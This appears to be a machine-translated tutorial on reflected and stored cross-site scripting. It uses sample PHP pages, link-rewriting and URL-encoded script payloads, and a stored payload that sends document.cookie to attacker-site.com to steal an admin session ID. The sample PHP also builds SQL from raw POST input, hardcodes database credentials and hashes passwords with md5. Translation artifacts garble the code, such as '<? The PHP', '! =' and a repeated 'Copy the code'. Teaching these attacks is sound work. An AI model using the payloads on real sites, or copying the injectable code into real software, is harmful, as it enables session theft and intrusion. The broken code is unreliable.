XSS stands for Cross Site Scripting(cross-site Scripting). It is similar to SQL injection attacks, where SQL statements are used as user input to query/modify/delete data. In XSS attacks, malicious scripts are inserted to control user browsers.

XSS attacks can be divided into two types:

  1. Non-persistent attack
  2. Persistent attack

Let’s look at two types of XSS attacks through specific examples.

 

1. Non-persistent XSS attacks

As the name implies, non-persistent XSS attacks are one-off and affect only the occasional page visit. The non-persistent XSS attack requires the user to access a link that has been tampered by the attacker. When the user accesses the link, the embedded attack script is executed by the user viewer to achieve the attack purpose.

Suppose you have the following index.php page:

<? php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>"; ? >Copy the code

The page displays two lines of information:

  • Get the ‘name’ parameter from the URI and display it on the page
  • Displays a link to a URL

In this case, when the attacker gives the following URL link:

index.php? name=guest<script>alert('attacked')</script>Copy the code

When the user clicks this link, the following HTML code is generated and an alarm box is displayed with ‘Attacked’ :

Welcome guest
<script>alert('attacked')</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>Copy the code

 

In addition to inserting alert code, an attacker can modify the link with the following URL:

index.php? name=

<script>

window.onload = function() {

var link=document.getElementsByTagName("a"); link[0].href="http://attacker-site.com/"; }

</script>Copy the code

When the user clicks on the URL provided by the attacker, the index.php page is embedded with a script, and the source code of the page is as follows:

Welcome <script> window.onload = function() { var link=document.getElementsByTagName("a"); link[0].href="http://attacker-site.com/"; } </script> <br> <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>Copy the code

When users Click to Download again, they are redirected to the link provided by the attacker.

 

For urls used in attacks, attackers generally convert them into ASCII codes rather than directly using the above readable form. The following urls are also used for link address change:

index.php? name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61% 72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22% 29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d% 2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3eCopy the code

 

2. Persistent XSS attacks

Persistent XSS attacks will store the attacker’s data on the server, and the attack behavior will always exist with the attack data. Let’s look at an example of a persistent XSS attack to get a session ID.

 

Session Background

We know that HTTP is a stateless protocol in which all requests/responses are independent and no state information is kept in between. However, you need to maintain status information in some scenarios. For example, after a user logs in to a Web application, the user does not need to enter the user name or password for authentication.

When the user logs in for the first time, the server creates a session ID for the user and sends a cookie to the viewer. The cookie stores the data used in the session connection, and the session ID serves as the session ID. Subsequent requests from the viewer are based on this session ID.

 

An attacker can provide an attack link. When a user clicks the link, the attacker sends a message with the user’s session ID to the attacker’s own server. In this way, the user’s session ID can be stolen and the user’s execution permission can be obtained.

 

There is the following login.php, which looks up the corresponding pass_word in the data according to user_name, and then compares the password provided by the user with the pass_word obtained by looking up the database. If the authentication succeeds, the session corresponding to user_name is created.


<? The PHP $Host = '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; /* Connect with database asking for a new connection*/ $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); /* Error checking the connection string */ if (! $Connect) { echo "Database Connection Failure"; exit; } $query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';" ; $result=pg_query($Connect,$query); $row=pg_fetch_array($result,NULL,PGSQL_ASSOC); $user_pass = md5($_POST['pass_word']); $user_name = $row['user_name']; if(strcmp($user_pass,$row['password'])! =0) { echo "Login failed"; } else { # Start the session session_start(); $_SESSION['USER_NAME'] = $user_name; echo "<head> <meta http-equiv=\"Refresh\" content=\"0; url=home.php\" > </head>"; }? >Copy the code

 

There is also the following home.php, which displays different content depending on whether the user is admin or another user. For admin, it lists all users, and for other users, it provides a form containing an input field to insert new username information into the database.


<? php session_start(); if(! $_SESSION['USER_NAME']) { echo "Need to login"; } else {$Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); if($_SERVER['REQUEST_METHOD'] == "POST") { $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';" ; pg_query($Connect,$query); echo "Update Success"; } else { if(strcmp($_SESSION['USER_NAME'],'admin')==0) { echo "Welcome admin<br><hr>"; echo "List of user's are<br>"; $query = "select display_name from $Schema.members where user_name! ='admin'"; $res = pg_query($Connect,$query); while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) { echo "$row[display_name]<br>"; } } else { echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">"; echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">"; echo "<input type=\"submit\" value=\"Update\">"; }}}? >Copy the code

 

Note that in the above scenario, different permissions are set for admin and other users. Admin can see the list of all users. Let’s look at how to obtain admin’s session ID so that other users can also obtain Admin’s permissions.

 

First, the attacker logs in as a normal user and submits the following data in the input box:

<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\; \ ">bangerlee</a>Copy the code

 

The attacker submits data tagged with <a>, which is stored in the database, and when the Admin user logs in, the user list containing “bangerlee” is displayed. If the admin user clicks on “bangerlee”, An attacker can steal admin’s session-ID from the server where attacker-site.com resides:

xss.php? c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3Copy the code

With this session-id, an attacker can obtain the permissions of the admin user within the validity period of the session. In addition, as the attack data has been added to the database, the attack may still take effect as long as the attack data is not deleted, which is persistent.

 

Of course, not only persistent XSS attack can steal session ID, user cookie information, with non-persistent XSS can also, as long as the user click a link, document. Cookie information to the specified server can be, the above only as an example to illustrate persistent XSS attack.